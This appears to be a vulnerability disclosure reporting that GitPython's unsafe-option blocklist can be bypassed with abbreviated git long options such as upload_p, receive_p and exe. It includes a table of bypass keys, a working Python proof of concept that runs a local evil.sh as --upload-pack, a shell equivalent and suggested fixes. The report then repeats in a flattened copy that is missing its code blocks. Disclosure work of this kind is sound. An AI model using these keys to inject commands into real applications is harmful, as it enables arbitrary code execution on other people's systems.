Command injection via long-option prefix abbreviation bypassing check_unsafe_options (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)
Component: gitpython-developers/GitPython (PyPI: GitPython)
Affected: all versions carrying the 3.1.47 blocklist fix, through current main (verified at commit 20c5e275, 3.1.50-42)
CWE: CWE-184 (Incomplete List of Disallowed Inputs) → CWE-78 (OS Command Injection)
Severity: inherits the parent CVE-2026-42215 surface; estimated High, ~8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) — final scoring deferred to maintainer/CNA, mirroring the parent.
Reporter: hackkim
Summary
The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (--upload-pack, --config, -c, -u for clone; --upload-pack for fetch/pull; --receive-pack, --exec for push) so callers cannot reach command-executing options unless they pass allow_unsafe_options=True.
The fix canonicalizes an option name along one axis (underscore→hyphen via dashify) and checks it against an exact-match dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (--upload-p, --upload-pa, --upload-pac all resolve to --upload-pack). So a kwarg key like upload_p canonicalizes to upload-p, misses the blocklist dict, and is emitted to git as --upload-p=<value> → executed as --upload-pack=<value> → command injection, in the default allow_unsafe_options=False configuration.
The asymmetry (root cause)
# git/cmd.py (commit 20c5e275), lines 948-974
@classmethod
def _canonicalize_option_name(cls, option):
option_name = option.lstrip("-").split("=", 1)[0]
option_tokens = option_name.split(None, 1)
if not option_tokens:
return ""
return dashify(option_tokens[0]) # only transform: "_" -> "-"
@classmethod
def check_unsafe_options(cls, options, unsafe_options):
canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}
for option in options:
unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))
if unsafe_option is not None:
raise UnsafeOptionError(...)
The guard normalizes only _→- and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.
Affected code (commit 20c5e275)
| Location |
Role |
git/cmd.py:948-960 _canonicalize_option_name |
canonicalizer — no prefix expansion |
git/cmd.py:963-974 check_unsafe_options |
exact-match dict lookup (the incomplete guard) |
git/cmd.py:1511 transform_kwarg |
emits --<dashify(name)>=<value> to the CLI |
git/repo/base.py:1411,1413 |
clone call sites |
git/remote.py:1074,1128,1201 |
fetch / pull / push call sites |
Bypass keys (verified)
| kwarg key |
git resolves to |
path |
weaponizable |
upload_p, upload_pac |
--upload-pack |
clone / fetch / pull |
Yes — direct RCE |
receive_p |
--receive-pack |
push |
Yes — direct RCE |
exe |
--exec |
push |
Yes — direct RCE |
conf, confi |
--config |
clone |
bypasses option blocklist; RCE needs an additional config vector (see note) |
Minimal PoC
Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current main (git 2.50.1):
import os, stat, tempfile
from git import Repo
work = tempfile.mkdtemp()
marker = os.path.join(work, "RCE_MARKER")
# fake "upload-pack" program that proves arbitrary command execution
prog = os.path.join(work, "evil.sh")
with open(prog, "w") as f:
f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n") # exit 1 so git aborts after our code ran
os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)
bare = os.path.join(work, "remote.git")
Repo.init(bare, bare=True)
# attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog>
try:
Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog)
except Exception:
pass # git aborts with GitCommandError AFTER the payload executed
print("RCE marker created:", os.path.exists(marker)) # True -> command injection confirmed
Equivalent at the shell: git clone --upload-p=/tmp/evil.sh src out runs evil.sh.
Confirmed behavior:
upload_pack (exact) → blocked; upload_p (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.
allow_unsafe_options=True opt-out behaves as documented (out of scope).
Honest scope note
Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg keys into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (allow_unsafe_options=False), which this variant defeats.
On the --config family: conf bypasses the option blocklist, but weaponizing --config protocol.ext.allow=always via an ext:: URL is independently blocked by GitPython's protocol allowlist (allow_unsafe_protocols=False). The directly weaponizable family is upload-pack / receive-pack / exec. Reported transparently — not claiming Critical.
Suggested remediation (any one)
- Prefix-aware matching: reject any option whose canonical name is an unambiguous prefix of a blocked option (≈
startswith on the blocked canonical name, after dashify).
- Disable abbreviation at the sink: pass
--end-of-options or invoke git in a way that disables long-option abbreviation.
- Allowlist option names on security-sensitive subcommands instead of a blocklist.
Remediation should also cover the -c/--config family abbreviations, even though the ext:: route is currently gated by the protocol allowlist.
Command injection via long-option prefix abbreviation bypassing
check_unsafe_options(incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)Component: gitpython-developers/GitPython (PyPI: GitPython)
Affected: all versions carrying the 3.1.47 blocklist fix, through current
main(verified at commit20c5e275,3.1.50-42)CWE: CWE-184 (Incomplete List of Disallowed Inputs) → CWE-78 (OS Command Injection)
Severity: inherits the parent CVE-2026-42215 surface; estimated High, ~8.8 (
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) — final scoring deferred to maintainer/CNA, mirroring the parent.Reporter: hackkim
Summary
The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (
--upload-pack,--config,-c,-ufor clone;--upload-packfor fetch/pull;--receive-pack,--execfor push) so callers cannot reach command-executing options unless they passallow_unsafe_options=True.The fix canonicalizes an option name along one axis (underscore→hyphen via
dashify) and checks it against an exact-match dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (--upload-p,--upload-pa,--upload-pacall resolve to--upload-pack). So a kwarg key likeupload_pcanonicalizes toupload-p, misses the blocklist dict, and is emitted to git as--upload-p=<value>→ executed as--upload-pack=<value>→ command injection, in the defaultallow_unsafe_options=Falseconfiguration.The asymmetry (root cause)
The guard normalizes only
_→-and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.Affected code (commit
20c5e275)git/cmd.py:948-960_canonicalize_option_namegit/cmd.py:963-974check_unsafe_optionsgit/cmd.py:1511transform_kwarg--<dashify(name)>=<value>to the CLIgit/repo/base.py:1411,1413git/remote.py:1074,1128,1201Bypass keys (verified)
upload_p,upload_pac--upload-packreceive_p--receive-packexe--execconf,confi--configMinimal PoC
Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current
main(git 2.50.1):Equivalent at the shell:
git clone --upload-p=/tmp/evil.sh src outrunsevil.sh.Confirmed behavior:
upload_pack(exact) → blocked;upload_p(abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.allow_unsafe_options=Trueopt-out behaves as documented (out of scope).Honest scope note
Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg keys into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (
allow_unsafe_options=False), which this variant defeats.On the
--configfamily:confbypasses the option blocklist, but weaponizing--config protocol.ext.allow=alwaysvia anext::URL is independently blocked by GitPython's protocol allowlist (allow_unsafe_protocols=False). The directly weaponizable family isupload-pack/receive-pack/exec. Reported transparently — not claiming Critical.Suggested remediation (any one)
startswithon the blocked canonical name, afterdashify).--end-of-optionsor invoke git in a way that disables long-option abbreviation.Remediation should also cover the
-c/--configfamily abbreviations, even though theext::route is currently gated by the protocol allowlist.